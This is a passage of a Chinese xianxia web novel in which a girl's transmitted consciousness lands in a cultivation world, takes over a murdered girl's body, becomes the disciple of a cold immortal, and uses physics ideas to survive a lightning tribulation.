《我没故意骗你,是诚心》
1. 穿越异世界
“通往1314号世界临时通道已开启。”
“已定位接收端,是否开始传输。”
“开始。”
透明冷冻舱缓缓关闭,里面沉睡女孩的身体被永远定格在联盟纪元111年1月1日。
她的意识被压缩成数据体传送至第1314号世界,执行为期十年的侦察任务。
据拓荒者可靠情报,1314号世界存在远古神秘力量,与联盟A星物理结构极其接近,但二十年前时空乱流导致前往该世界的拓荒者失联,新星计划便被一直搁置到了现在。
叶清雅这次的任务就是找到拓荒者,收集情报、统一世界秩序。
意识体穿越宇宙时空,叶清雅感觉到自己平稳着陆,自身意识在接收端缓缓凝聚,却始终聚焦不了视线,有什么东西绕着自己咕噜噜地滚动,四周光怪陆离一片虚影。
滚了一圈后自己撞到了墙停下来。
不成想这“墙”居然开口说话了。
“阿猪,这是玉做的,你老是这么玩它迟早把它玩碎了。”
叶清雅看到一个巨人女孩顶着一张娃娃脸把自己捧在手心里,数落着一只贼眉鼠眼的粽毛猪。
难道1314号世界的生物都这么大吗,还是这个接收端太小了?
“你好,我是神界使者,可以实现一个你的愿望......”
叶清雅说着事先准备的台词,不想眼前一黑,她感到自己被高高举起。
“等等等别扔,有话好好说——”
扑通一声,自己沉入了水底,叮的一声磕到了河床的石头上。
按理说接收端自带语言处理功能,可以让穿越者与目标世界生物无障碍沟通,除非是接收端坏了。
叶清雅被河水冰了个透心凉,大事不妙。
水面上的声音不甚清晰,透过流水传到叶清雅意识里。
“阿猪,把它捡回来。”
棕毛猪潜入水中一巴掌拍走要吞下叶清雅的大号鱼,大爪子握着她游到岸上。
叶清雅被放到岸边,面前凑近一张放大的脸。
“对不起,我第一次见到珠子会说话,你刚才说实现我的愿望是真的吗?”
叶清雅气得整个珠子都红温了,没好气地说,“对,作为交换,你的身体归我。”
巨人女孩作势要把叶清雅弹入湖内。
叶清雅浑身一抖,“等下,你帮我找副好用的身体也行,不一定是你的。”
“成交。”
叶清雅被捏起来放到了衣服里面,四周的漆黑让她回忆起了穿越宇宙时的恐惧,声音颤抖地哀求,“放我出来,里面太黑了。”
巨人女孩不满地嘟囔一句,“要求真多。”拿出叶清雅放到了怀里棕毛猪的头顶上。
叶清雅看到他们走进了一处气派的宅院,到处挂满了红色的装饰,所有下人见到女孩都恭恭敬敬地喊“大小姐”或“驭兽师大人”。
“什么是驭兽师?”
叶清雅在棕毛猪头顶上转着圈,她对这个世界充满了好奇。
此时他们走进一处女子的闺房,女孩把叶清雅放到了桌子上。
“驭兽师就是和灵兽签订契约的人,相当于半步踏入修仙门槛,是人人敬仰的存在。”
叶清雅看着地上呼呼大睡的棕毛猪,透过自己的360度全景视角,这才看清它是只水豚幼崽。
“这就是你的灵兽?”
“不是,阿猪也就拿来糊弄糊弄外面那些人,我要你帮我成为一名真正的驭兽师。”
虽然叶清雅不知道这个世界的驭兽师是怎么修炼的,但小时候她没少翻过家里的杂书,里面修仙界的灵兽不也是兽吗,她开始乍着胆子胡诌。
“可以,但我们得先找到一个能和你签订契约的灵兽。”
女孩果然被忽悠住了,整个人往珠子这边靠了靠,“你知道去哪里找灵兽吗?”
叶清雅左右滚动,“不知道,先出去再说。”
叶清雅好不容易适应了这个接收端,开发出来新的行动方式——沿着桌边儿滚直线。
女孩丧气地趴在桌子上,看着叶清雅撒欢。
“可等我和万公子完婚后,可能就出不去了。”
叶清雅闻声一顿,她一个头两个大:结婚?好古早的词。
在她原来的世界里,孩子都是从培育箱里出来的,几百年里结婚的人类只有她父母这一对,而她自己也作为唯一母体顺产的人类而备受歧视,她突然感觉自己在这个世界里找到了同类。
叶清雅偶然瞥见房间的镜子里有一个亮晶晶的珠子立在桌沿上,自己一晃神,掉了下去。
叶清雅失声尖叫——
幸好被女孩及时接住,捧上了桌面。
“小心,你这个样子容易碎。”
穿成珠子这件事太丢脸,叶清雅只想赶紧找个新身体活个人样儿。
“别结婚了,成为驭兽师不比呆在后院强?”
女孩左右为难,“可我爱慕万公子许久了。”
这时屋外响起敲门声,“小姐,有贵客求见,老爷和夫人在正厅等着您呢。”
“知道了。”
女孩转头对叶清雅说,“我出去一趟。”
叶清雅忙不迭地说,“带上我。”
那只假寐的邪恶水豚一直在斜眼看着自己,她真怕女孩走后自己被它一不小心玩死。
“也好。”
女孩便带着叶清雅出发,后面缀着个水豚。
“它怎么也跟来了。”
“你好像格外在意它?”
“才没有。”自己只是怕被它下黑手。
正厅离女孩的住处并不算远,穿过几道拱门,他们就看到了正厅上唯一一位贵客,连带着前院一片死寂没个人影儿。
女孩跨过门槛的脚步一顿,叶清雅也感觉到了危险的气息,刚要出声提醒,正厅里的黑衣人便站起身。
“叶小姐怎么不进屋,我还有事想和您请教请教呢。”
身后的大门被骤然上锁,去路被封,墙又太高翻不过去,女孩站在原地没动,强作镇定。
女孩认出黑衣人,不客气地问道,“你又来干什么。”
黑衣人嘿嘿一笑,“我这不是请不动您出山,今日来用些手段,叶小姐勿怪啊。”
说话间,女孩脚下浮现金光大阵,像一张巨网把一人一兽兜起来。
黑衣人见眼前人毫无还手之力,秒变脸讽刺道,“果然是个冒牌货,区区妖兽还真把自己当人了。”
女孩拼命挣扎,网却越收越紧。“你说谁是妖兽,放我出去!”
黑衣人抓起网兜,御剑飞入云端时也不忘威胁女孩,“老实呆着,不然一会儿卸了你。”
女孩抱紧水豚瑟瑟发抖,小声说,“抱歉,连累了你们。”
珠子在女孩手里滚了一圈,猛然反应过来女孩看不到自己摇头,又补上一句,“无事。”
叶清雅想了想又说,“关门的应该是你家里人。”
叶清雅余光看到下面的叶府宅院占了大半个县城,心中纳闷,有如此显赫家底的人家为何会做出构陷女儿的事情。
“其实我早该告诉你,你是我从娘胎里带出来的,我夫家说你是不好的东西,今天在河边我就想把你扔了。”
女孩叹口气,幸好没扔,事到如今还能有个珠子说说话儿。
叶清雅略一思索,“结婚是掩人耳目,所以他们的目标是你,你真的是妖兽?”
女孩把头埋进怀中小水豚松软的毛里,来回蹭了蹭,再说话时带着点儿鼻音,“这下是跳进浑水也洗不清了。”
黑衣人把他们从半空中扔下去,金光消散,刚恢复自由,水豚就被拎起后颈扔进一个带锁的铁笼子。
“阿猪!!!”
女孩被摔得身形
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不稳,哆哆嗦嗦往前爬想去救它,却被黑衣人反剪双手压着跪在地上。
“跟我签订契约,这是你唯一的活路。”
“放开我,都说我不是妖兽。”
黑衣人眉头一挑,叶清雅心下一沉。
黑衣人阴狠地说,“别说没给过你机会。”
女孩就这样被拽着扔到一块红色的石台上,一股浓烈的血腥气呛得她直咳嗽。
铁链缠绕上女孩的四肢,恐惧深深浸透了她的每一寸肌肤,让她动弹不得,任人宰割。
叶清雅在女孩怀里瑟瑟发抖,听着远处传来呲啦呲啦的声音,微弱的声音打着颤儿,“他在干什么?”
女孩挣不开收紧的锁链,小声回道,“磨刀。”
“磨刀......干什么?”
“未签订契约的无主妖兽是公共修炼资源,可以随便使用,死无葬身之地也没人管,我以为成为驭兽师能逃过一劫,没想到.......”
女孩哽咽着再也说不下去。
“所以他们把我当做了你的——”
叶清雅骤然止住声音。
磨刀声停止,四周一片诡静。
叶清雅受不了这种氛围,在女孩胸膛里无意识抽动着,突然被什么东西按住。
重见天光后,自己和黑衣人打上照面。
“这就是你的妖丹吧,我听说有些妖兽内外兼修,外丹内丹都是上乘,”黑衣人贪婪一笑,“等我再刨出你的内丹,加上你这副好皮囊绝对能卖个好价钱。
叶清雅泫然欲泣,可她不能出声,否则保不齐黑衣人再做出什么过激的举动。
女孩脸色苍白,手指紧紧握着捆住她的锁链,“你杀错人了。”
黑衣人轻笑一声,附耳低语,“有人要你的命。”
女孩瞪大眼睛,黑衣人手起刀落,一声凄厉绝望的嘶喊,石台上多了一片又一片殷红。
山洞复归宁静。
叶清雅在黑衣人走时偷偷跳到女孩身上,此时的女孩还撑着最后一口气。
女孩断断续续地对眼前的珠子说,“你说的、实现我的愿望、还作数吗。”
每说几个字都要喘一下。
“可是......”事到如今,叶清雅真的不想再骗她。
但女孩打断她要说的话——
“我把身体给你。”
叶清雅脑袋嗡的一声,紧接着又听到女孩说,“帮我报仇。”
叶清雅哀伤地说,“可我救不了你。”
女孩轻轻摇了摇头,“无妨。”反正她时间也不多了。
“吃了我吧。”
叶清雅跳到女孩嘴边,滑入她的口腔,女孩配合着把叶清雅咽下去。
叶清雅拿不准接收端的治愈能力,它一般只能保证身体健康的情况下意识体和宿主的融合,濒死的身体还未有过先例。
其实叶清雅本可以一走了之,重新找个健全的身体活过来,但她不甘心,她痛恨这个什么都做不了的自己。
融化间,叶清雅仿佛听到女孩说了一句很轻的“对不起”。
女孩是她在这个世界遇到的第一个朋友,可她还不知道女孩的名字。
叶清雅化作液体流遍女孩身体的四肢百骸,再张嘴时咳出一片鲜血,喉咙嘶哑得说不出话,女孩已经走了。
眼角湿漉漉的,她走之前哭过。
可笑的是,接收端融合了她的意识,却没修复宿主的身体,叶清雅眼睁睁体验着生机流逝的无力感,也许这就是说谎的代价吧。
一声悲鸣从旁边传出,把意识陷入昏沉的叶清雅给吓醒了,她偏头一看,关着的铁笼子里不知道什么时候多出个人,正捂着肚子嚎叫。
她这么痛都没喊,这人一身干净在那儿叫什么?
下一秒,一双布满血丝的眼睛和自己对视,吓得叶清雅伤口瞬间不疼了,这人的眼神怕不是要吃人。
2. 天赐良缘
叶清雅自暴自弃地闭上眼睛,对死亡的坦然最终战胜恐惧。
就算是恶鬼修罗临世,关她一将死之人什么事。
铁笼门被暴力打开,笼子里的男人踉踉跄跄地走到叶清雅身前,咬牙切齿地问她,“你到底对我做了什么?”
叶清雅嫌弃地一撇嘴,半分眼皮都没抬,嘴里嘟囔着连声音都透着虚弱。
“我都这样了,能对你做什么。”
四周温度骤降,叶清雅本就冰冷的肌肤结上一层霜,冻得她打个激灵,哆哆嗦嗦地睁开眼睛。
“你有病吧。”
“你没有资格说别人。”
男人看着面前濒死的女子,面色愈加冷峻。
这女子浑身散发着自己妖丹的气息,他正是受此影响才从混沌中苏醒。
妖丹就在这女子体内。
所幸时间不长,还赶得上以她身体为容器,把妖丹提炼出来。
男人抬起右手,一片五彩光晕从叶清雅身体里逸散,被男人吸入掌心。
他冷冷地说,“我来拿回我的东西。”
“你......”
叶清雅晃神片刻,感觉全身精气被瞬间掏空,脸上仅有的血色也消失殆尽。
她颤抖着嘴唇想解释自己并没有拿他什么东西,却不想男人喷出一口血,一滴不落全浇在自己身上。
叶清雅嫌弃地蹙起眉头,那些五彩光晕又悉数回到叶清雅破败的身体里,消弥无踪。
男人抹了抹鲜红的唇,再次抬手。
叶清雅往边上缩一下,“有话好好说,君子动口不动手。”
男人闻言手掌一顿,修长的手指翻转,在叶清雅脑门上敲两下。
一片黑雾笼罩视野,五感尽退,叶清雅绷紧的精神一下失去支撑,意识彻底沉入黑暗。
等叶清雅再次睁眼时,身边围着一圈飞禽走兽,正和她大眼瞪小眼。
她觉得自己似乎遗忘什么重要的事,甚至忘了自己是个人。
身量与自己相仿的兔子凑到身前细嗅着,自己的注意力完全被吸引了去,屁股冷不丁被戳了一下。
许是因为叶清雅皮厚,一点儿也没疼——但侮辱性极强。
她惊跳转身,看到那长嘴仙鹤又要啄她,便毫不客气地跳到仙鹤背上。
本想用一招泰山压顶给这只臭鸟点教训,没成想自己蠢萌的动作惹得周围妖兽无情嘲笑。
“它真的脾气好好哦,你看她还跟你亲热呢。”
熊妖上前要抱走叶清雅,仙鹤向旁边一闪躲过宽厚的熊掌。
“小朋友,肚子还痛不痛,姨姨给你吃胡萝卜。”
兔妖叼着一颗胡萝卜仰头递给叶清雅,被叶清雅躲开了。
她才不吃这种糙食。
兔妖丝毫不在意,还有心调侃道:“呦,还害羞了。”
叶清雅在仙鹤背上躺平,她想静一静,睡一觉,然后回家。
她隐隐约约感觉家在很遥远的地方,她好像回不去。
一股酸楚涌上心头,叶清雅倒腾着小短腿翻身,不小心从仙鹤背上滚下来,落入一个温暖的怀抱。
“你们别吵,她需要静养。”
一道磁性温和的声音传来,众妖兽一齐行礼,恭敬问安。
“止语仙尊安。”
止语仙尊点头致意,抱着叶清雅在众妖兽的注目礼中走到丛林深处。
温泉中氤氲的热气弥漫开来,泡得人筋酥骨软,伤痛尽去。
叶清雅泡得开心了,不自觉地挣开止语仙尊的怀抱,悠悠浮上水面,在温泉中惬意地游着。
一个时辰后,止语仙尊出浴。
顺手捞出来水中的叶清雅,披上一件棕色长袍走出丛林。
叶清雅在止语仙尊怀里拱来拱去,小爪子抓烂了止语仙尊的贴身浴袍仍不罢休。
止语仙尊收紧衣袍,把怀里的小东西罩在怀里。
心想着,等泡够七七四十九天,上品容器就炼成了。
而他嘴上却对怀里不安分的小家伙说,“化骨泉能助你重塑筋骨,一个时辰刚好,泡多了会把你骨头化掉。”
叶清雅不懂止语仙尊的意思,只知道离开那里她很不开心。而且这人身上硬硬的一点也不舒服。
她一口咬上止语仙尊胸口,疼的止语仙尊手臂一松,强忍着把叶清雅摔死的心思,依旧面不改色,大度地把叶清雅抱在怀里顺毛。
怀里的小崽子很满意,呼噜噜抱着止语仙尊的手沉入梦乡。
止语仙尊紧抿双唇:为了妖丹,他忍。
等容器初成取出妖丹,他就把这个无耻的人类丢下山,再不管它死活。
第二天午后。
止语仙尊照例去池塘边找叶清雅,一无所获,连化骨泉都没见叶清雅的影子,甚至还少了几只妖兽,止语仙尊不禁微微皱眉。
止语仙尊神识扫过整个宗门,没有妖丹的气息,那个人类女子不在这儿。
可她连法力都没有,不可能通过护山大阵。
突然间,止语仙尊感到一阵心悸,丹田处的伤疤灼烧般疼痛——血契躁动,是妖丹凶多吉少的征兆。
就在这时,一声鹤唳从云端落下,鹤妖乘风而来化作一位翩翩少年落在止语仙尊身前,单膝跪地。
“弟子愿意领罚,请仙尊救救小师妹吧!”
止语仙尊额头突突直跳,“什么小师妹?”
“就是您带回来的那只水豚师妹啊,我们就想带她回家看看,没想到捉妖师就埋伏在她家,我拼了命才逃出来,请仙尊救救师妹吧。”
鹤妖每说一句止语仙尊的心就沉下一分,但他从不训斥任何人,是出了名的好脾气,可这不代表他没脾气。
“她不是你师妹。”
“啊?”鹤妖傻眼,疑惑地看向仙尊。
“带我过去。”
鹤妖了然,仙尊这是在生小师妹的气,气得都不认小师妹了。
立刻化作原型带止语仙尊赶去救人。
半空中,止语仙尊拍了拍鹤妖后背,“记得找止夜仙尊领罚。”
鹤妖大叫一声,连带着背上的止语仙尊都跟着抖三抖。
鹤妖眼含热泪连连应是,等轮到让刑法堂堂主来施罚,他堂堂丹顶鹤回去恐怕就要变成秃顶鹤了。
半日前。
一片血迹斑斑的羽毛飘在血泊中,那是鹤妖挣脱捆妖索时落下的。
叶清雅叹了口气,情况不容乐观,等鹤妖回来兴许赶得上给自己收尸。
此时自己像一只鱼饵被吊在大门前,身后的捉妖师已经陆陆续续抓了许多来救自己的同伴。
她只是想替自己冤死的宿主讨个公道而已,没想到又被抓住,还搭上这些妖的性命。
今早一觉醒来才发现自己变成个水豚,因果轮回,报应不爽,好巧不巧居然穿到了那个邪恶猕猴桃身上,但她也不敢确定。
当时山洞里只有小水豚、宿主和那个莫名其妙的男人,现今自己还活着,而接收端融合又只有一次机会,没道理又和第二个宿主融合。
叶清雅一晃一晃在门梁上荡秋千,回想起这些天在一个大男人怀里装可怜,实在没脸见人。
偏偏这时候一众妖兽认定自己是仙尊的恋人,叶清雅一咬牙,谎称自己是仙尊新收的弟子才蒙混过去。
蛙妖腆着大肚子问道,“新弟子就能跟仙尊沐浴吗?”
叶清雅反驳道,“我晚上还跟你睡一个水坑呢,我跟你谈恋爱了吗。”
蛙妖见八卦聊到自己头上,讪讪闭嘴。
叶清雅越想越心慌。
记忆里仙尊的脸和山洞中欲置自己于死地的男人重合,自己一阵心惊,回想起男人对自己的体贴,明晃晃的温柔刀。
屋里传来撕心裂肺的惨叫,叶清雅转身看去,捉妖师一个个被撂倒在地,不省人事。
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>一棕衣青年立在院中,望着门梁出神,正是叶清雅被吊的地方。
鹤妖跑前跑后放出被关着的妖兽,闲下来时顺着仙尊的目光看去,才发现门梁上的叶清雅,忙飞上去把她放下来。
“谢谢。”
变成水豚的叶清雅只能发出些意义不明的鸣叫。
“别客气,我们是一家人啊小师妹。”
仙鹤护着怀里的叶清雅向止语仙尊走去,叶清雅一阵心虚,照这人所言,先前自己偷了他的东西,这下又擅自称是他的徒弟,看他的眼神怕不是要把自己碎尸万段。
叶清雅尽量降低自己的存在感,又往鹤妖怀里缩去。
躺在地上的捉妖师强撑着不晕,狠劲儿挖苦道,“一群下流货还想拜师仙门做神仙?呸,离开人类你们算什么东西。”
“我要你狗命!”
熊妖咆哮着飞扑上前,被止语仙尊伸手拦下。
“一命一因果,勿要自毁前程。”
说罢走到嘴贱的捉妖师面前,一巴掌把人扇晕了。
叶清雅:......
原来不结因果是这么破的。
止语仙尊迎着夕阳余晖走向叶清雅,一张雌雄莫辨的脸,隐隐透着份孤寂。
叶清雅看到止语仙尊用手挡了下阳光,心道这人可真娇气。
却不想下一秒那修长的指骨就落上自己的额头,一股真气顺着指尖传递过来,贯通经脉,眨眼间叶清雅就从水豚变成一个五六岁模样的小女孩。
止语仙尊顺手掐一下叶清雅圆嘟嘟的脸蛋,手感绵软,这幅粉嫩嫩的团子模样倒是比那小崽子耐看多了。
止语仙尊冷冰冰开口,“说话。”
叶清雅故意发不出声音,装作懵懂样子想蒙混过关。
她偷偷瞄着止语仙尊,迫于上位者的威压,她从鹤妖怀里挣扎到地上,扑到止语仙尊大腿上喊人。
“师父——”
止语仙尊并不打算收徒。
“我不是你师父。”
叶清雅立刻改口,“爸爸!”
???
叶清雅被止语仙尊踹到一边,坐在地上哇哇大哭。
获救的妖兽都围过来安慰她,可惜她油盐不进,拽都拽不起来。
止语仙尊看着西边落日,心想再来几个捉妖师自己恐怕应付不过来,只好不情愿地来到叶清雅身前蹲下,右手轻抚她的头顶,拉起她的手拍了拍。
“乖,我带你回家。”
叶清雅委屈极了,“你坏,还凶我,我不和你走。”
止语仙尊差点冷下脸,堪堪绷住笑容,再配上他清俊的五官,好一副真心假笑。
叶清雅看着他滑稽的样子,没忍住扑哧笑出声。
最终还是软软糯糯地叫了一声——
“师父。”
“嗯。”
自此,落月宗最草率的拜师仪式完成了。
止语仙尊将其他被救的野生妖兽一并收留,灵兽峰变得更加热闹。
一大一小手拉手站在灵兽峰顶,欣赏着世外桃源的田园风光。
叶清雅瞪大眼睛环视一周,扬起小脸问止语仙尊。
“师父我们住哪儿啊。”
止语仙尊抬手指了一圈,手指扫过山上茂密的原始丛林、原生态沼泽地,又犹豫着放下,他的灵兽峰从来没住过人类,竟一时找不出让叶清雅住的房子。
止语仙尊板着脸掩饰尴尬,“你......”
叶清雅善解人意地张开双臂,笑嘻嘻地对止语仙尊说:“师父,您把我变回去吧,我还住在水里呀。”
止语仙尊被小孩子天真无邪的笑容感染,忍不住俯身抱起叶清雅。
“走,带你去认一认师伯。”
“师伯是人吗?”
止语仙尊敲了一下叶清雅的小脑袋,“和你一样。”
叶清雅捂着脑门心想:我和你们可不一样。
3. 低调开挂修个仙 学好数理化
止语仙尊掏出一张符纸,随手掐诀引燃,符纸瞬间烧个干净。
叶清雅模仿着止语仙尊掐诀的手势,什么都没发生。
止语仙尊出声提醒,“你还未引起入体,不会很正常。”
叶清雅眉头深锁,“师父,我以后也要和别人签订契约吗?”
“不会。”
叶清雅不依不饶地追问,“可我听说成为驭兽师才是修仙的第一步,我是水豚,不就得找个人修结契?”
止语仙尊望着山脚出神,在叶清雅以为他不会回答时,止语仙尊才出声解释,“你是人,把你变成水豚是为了方便养伤,等你痊愈自会恢复成原来的模样,到那时我再送你回家。”
“回家?”
叶清雅心底的疑虑被证实,若止语仙尊所言非虚,她现在用的还是那个女孩的身体,可真的只是留她在身边养伤这么简单吗?
鹤妖姗姗来迟,气鼓鼓地落在山崖边,“仙尊,我来了。都怪那些新来的总跟我们抢地盘,害我来迟了。”
止语仙尊整理好衣摆端坐在鹤妖背上,叶清雅跟着坐在旁边。
止语仙尊语重心长地劝道,“你们是伙伴不是敌人,凡事以和为贵。”
“是,仙尊。”
鹤妖张开翅膀载着二人滑翔进山谷,晚风徐徐,夜幕降临。
叶清雅轻轻拽下止语仙尊衣袖,“师父,我想修仙,请您教我。”
“不教。”
叶清雅眼睛一眯,“那我就不泡化骨泉,也不吃你给我的灵药,我就赖在这儿不走了。”
听到叶清雅不配合治疗,止语仙尊只好妥协,不情愿地从怀里掏出一本基础心法,扔给叶清雅。
“你两个月后有天雷劫数,彼时修为若不到筑基期,就等着转世投胎吧。”
叶清雅紧攥心法书籍,眼神坚定,“一定会的。我要是成功渡过雷劫,您就教我修仙。”
止语仙尊闭上眼睛,“随你。”
叶清雅翻开第一页,书上洋洋洒洒写着很多字,大致意思是:修仙第一步,找一心仪之人修成正果。
自己接连往后翻了几页,教的都是如何和万物共情、心怀天下云云。
叶清雅合上书,看向正在打坐的止语仙尊,后者一副事不关己的样子。
“师父,我不要修有情道,我要修无情道。”
一直沉默的鹤妖听不下去了,“小师妹,无情道没有先例,而且不谈恋爱没法修仙啊。”
“那我就走一条自己的路。”
鹤妖叹了口气,“难啊。”
止语仙尊带叶清雅在灵药峰住下,这里也有一片温泉,上午二人便在泉水里养伤,其他时间叶清雅都在研究如何修仙。
慢慢地叶清雅发现一妙处,虽然止语仙尊不会主动教她什么,但有问必答,叶清雅也毫不客气,把止语仙尊当成活的指南针,让他带自己去宗门里灵气最丰沛的地方。
止语仙尊把叶清雅带到化骨泉后,自己就到一边去泡澡。
叶清雅合理怀疑他是在敷衍自己。
既来之则安之。叶清雅扑腾到温泉中心的石头上,盘膝而坐,感悟天地灵气。
她是一个坚定的唯物主义者,虽然这个世界处处飘散着玄学的气息,但一定有科学规律可循。
比如泉水从高处流向低处,这个世界依旧遵循万有引力定律,虽然具体参数和联盟A星会有出入,但基本的物理科学在这个世界一定适用。
叶清雅是联盟A星的大龄理科状元,但毕竟是状元,与其质疑自己前半生的价值观,不如入乡随俗,用唯物主义思想铺就修仙大道。
叶清雅细细盘算着,熵总是由高处向低处走,若要引起入体,就必须来灵气最充沛的地方,才会事半功倍。
而融合宿主身体后,叶清雅一直感觉身体里有种力量呼之欲出,要与外界产生联系。
她把体内躁动的力量有意识地引导,从丹田出发,流经周身,如此往复,把自己变成一个有序熵的微观个体。
叶清雅的心情随着体内力量一起沉静下来,按捺住内心的饥渴后,一股更纯净的力量从外界涌入自己体内,叶清雅会心一笑,不枉费她半个月的辛苦,她终于引起入体了。
止语仙尊的声音透过水声传来,“别分心,接着做你刚才的事。”
叶清雅忙收敛心神,巩固根本。
随着吸收的灵气越来越多,叶清雅感到自身体积在不断增加,便在运转周天的同时,刻意留出一部分灵气压缩到丹田,形成一个小黑洞,能源源不断地自主吸收转化灵气。
做完这一切后,已不知过去多少个时辰。
叶清雅倏地睁开眼,缓缓吐出一口浊气,浑身轻盈,脱胎换骨。她弹跳起身,身上没有一点酸痛,就是有点冷飕飕的。
这才发现自己身上的衣服都碎了,水里倒映出一个年轻女孩的面孔。
“是你,”叶清雅蹲下身趴在水边,“我还没问你...”——叫什么名字。
急切的话溜到嘴边却说不出口,水中那人顶着“女孩”的脸,却做着和自己一样的动作。
她才恍然,不是她,“是我”。
分明是披头散发、衣衫不整的我。
叶清雅毫不犹豫一头扎进水里,心里祈祷着这幅样子可千万别让旁人看去。
正不知所措时,远处鹤妖扯着嗓子喊,“小师妹,芙蓉师伯给你送了套衣服就在岸边,洗好就出来吧,我送你回去。”
叶清雅闻言从水中稍稍冒出个头,果然在岸边看到了一身淡紫色长裙和一条白色的巾帕。
叶清雅一边收拾着自己,一边想着自己吃穿住全都麻烦芙蓉师伯,回去一定要郑重答谢人家。
“鹤兄,你看到止语仙尊了吗。”
鹤妖看到眼前的美人,下意识拘谨起来,“您是哪位?”
“我是阿雅,叶清雅,你再仔细瞧瞧。”
“啊呀,长成大姑娘了,你这是...练气初期?恭喜小师妹进阶。”鹤妖抱拳祝贺。
叶清雅笑着回礼,“谢鹤兄。”
鹤妖转眼间变成原身,“仙尊先回了,我们也走吧。”
叶清雅摇了摇头,“鹤兄,如今我也不是小孩子,不能总跟你没大没小的,不成体统。”
鹤妖收起翅膀,仰着头看向叶清雅,“这么大片森林,你也不会御剑,你打算怎么回去?”
叶清雅笑着往后退到温泉旁,“我就住在这儿啦,什么时候筑基我再离开这里。”
鹤妖安慰道,“你别太担心,真有雷劫仙尊也不会不管你的。”
叶清雅若有所思,“倒不是因为这个。”
自她恢复意识以来,止语仙尊把她照顾得无微不至,这不是对待偷过他东西的小贼该有的样子。加上他偶尔透出的冷漠,叶清雅怀疑他背后有更大的阴谋。
叶清雅试探着问,“止语仙尊一直都这么冷冰冰的吗?”
鹤妖回答,
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“嗯,不过听族里的老人说,止语仙尊家逢变故前是个很爱说话的小孩,天资很高,后来却自愿留在这片深山,守护着我们灵兽。”
......
叶清雅日复一日吸收着灵气,填充着自己无底洞般的丹田。
她总是不自觉地想起鹤妖说的话:止语仙尊小时候目睹了全家上下百余口被灭门的惨状,性情大变,拼命修炼到渡劫期冠绝修真界。等有能力找仇家报仇时,他们却早就化作一抔黄土,无处寻仇。
所以止语仙尊厌恶人类。
那他会救自己更说不通了。
此处化骨泉能固本养元,每天吃的灵药也都切实在滋养自己的身体,极大地弥补着自己体修的短板。
如果当初她接受止语仙尊的治疗却没有修仙,最后身体会先一步筑基,灵体却还是凡人,那两个月后的雷劫对一个凡人来说就是无妄之灾。
止语仙尊还是想要她的命。
思及至此,叶清雅彻底放下心,加快灵气运转速度,只要自己力量够强便不会被人拿捏。
经过叶清雅废寝忘食地修炼,雷劫将近之日时已至练气圆满,却始终没有突破的迹象,何况她不会武功,就这样以肉身灵体去硬抗筑基期雷劫,肯定会被劈成焦炭。
叶清雅脑海中灵光一现,谁说雷劫一定要硬抗的。
这时鹤妖领命前来,带叶清雅去渡劫的指定地点。
两人到达一片开阔高地,雷劫未到,叶清雅后背的毛已经竖起来了。
“鹤兄,有没有厚一点的铁皮?多找几个锅也行。”
“啊?”鹤妖以为小师妹终于炼疯了。
叶清雅掏出一块亮晶晶的石头,递给鹤妖,“这是灵石,里面有精纯的灵气,你修炼的时候用它辅助,会加快修炼速度。”
鹤妖把灵石给叶清雅推了回去,“这好东西你留着渡劫吧,你比我更需要。你要铁皮做什么?”
叶清雅抬头望天,“渡劫。我需要一个金属围成的封闭空间,这样我在里面会更安全一些。”
鹤妖点点头,不理解但尊重,“我找人按你身量做一个加厚的铁皮盒子,什么时候要?”
“明天。”
鹤妖震惊,郑重点头,“你放心,师兄一定帮你。”
“多谢鹤兄。”
“小事。”
说完,鹤妖便化作原型飞入云霄。
叶清雅掏出一截竹子,这是她在化骨泉边寻到的,灵竹自带灵气,加之叶清雅这两个月用自身灵力滋养,一人一竹的量子隐隐纠缠,灵气互通,相互感应,叶清雅可以轻易操纵它来去自如。
叶清雅一只脚踏上去,灵竹下沉,自己在灵竹底下逐渐增加托举的灵力,直到灵竹能承受住自身重量,堪堪漂浮在地面上方半米处。
叶清雅大喜,凝神控制灵气在自身周围形成一个密闭的流体空间,前端斜角上扬,又在流体末端增加一个向前的灵力推动。
一时没控制住力度,叶清雅嗖得一下就蹿了出去。
四处空旷无人,叶清雅低空疾驰数百米,陡然改变升力和动力的作用倾角,整个人直冲云霄。
自己像无头苍蝇一样在广袤天地间乱撞,渐渐摸索出平稳飞行所需要的力和角度,得心应手起来。
叶清雅满意地翘嘴,如果渡劫时法拉第笼失效,她就御竹狂奔,溜之大吉。
远处雷声滚滚,叶清雅脸色一黑,不是说好后天才劈的吗,怎么提前这么多?
4. 鬼妖祸乱
叶清雅心念一转,定是因为自己领悟了御剑飞行,达到了修为突破临界点,这才引来筑基雷劫。
叶清雅不再迟疑,驱动全身灵气御竹疾驰。
自己由北向南纵穿整个落月宗,其下宫殿楼宇林立,可见宗门传承底蕴深厚。
如果不是被止语仙尊算计,就这样成为大宗门的弟子也不错。
黑云滚滚,从一开始压抑的沉吟汇聚成隆隆的雷声,闪电穿云而出,追着叶清雅飞行的轨迹毫不留情地劈下。
虚空中一片电闪雷鸣,移动的黑云向落月宗脚下的村镇聚拢而去。
“响晴天的怎么还下上雨了。”
正在耕地的老伯冷不丁被浇个透彻,拿起身后的斗笠戴在头上,跑到树下避雨,看到一紫衣姑娘在树下朝他招手。
“老伯,您知道这附近有没有个姓万的大户人家?”
“还真有。这儿是张家村,你说的万家就在往前走十里的望月镇。”
叶清雅点点头,“可否劳烦您老带个路?”
老伯看着瓢泼大雨略一犹豫,“可这大雨......”
“越是雨天越不能在树下避雨,很容易招雷劈。您家要是离这儿不远,趁山上土路还没湿,快些回家才好。”
老伯颔首,觉得这姑娘言之有理,便带她往山下村子走去。
一路上老伯好心劝告,“听说望月镇最近闹鬼,你一姑娘家还是别去凑热闹的好。”
叶清雅来了兴致,“什么样的鬼?没有修士过来捉吗?”
老伯聊起八卦眉飞色舞,“捉什么鬼,还不都是自找的。
全怪那些有钱人家瞎折腾,那万家未娶妻先纳妾,最后什么都没落着,新娘出嫁前就死了,带着怨气要上万家寻仇哩。”
叶清雅望着头顶蠢蠢欲动的雷劫,想到宿主死前提到过的心仪之人就是个姓万的,不会这么巧吧。
叶清雅把老伯送回家后,谢绝了老人家的挽留,径自冲入雨中往落月镇去。
老伯心下担忧这个冒失的女娃娃,望着她远去的背影,看到狂风暴雨未吹乱她一丝头发,雨点都自动避开了她。
他下意识摸了摸自己的衣服,同样未被打湿分毫。
老伯对着叶清雅的背影诚心一拜,“今儿遇到活神仙啦。”
叶清雅封闭自身灵气与外界吸收转化的通道,分神压抑着自己修为,头顶的雷劫这才没有落下。
她此番前来便是找宿主本家做个了断,完成宿主遗愿,帮她报仇。
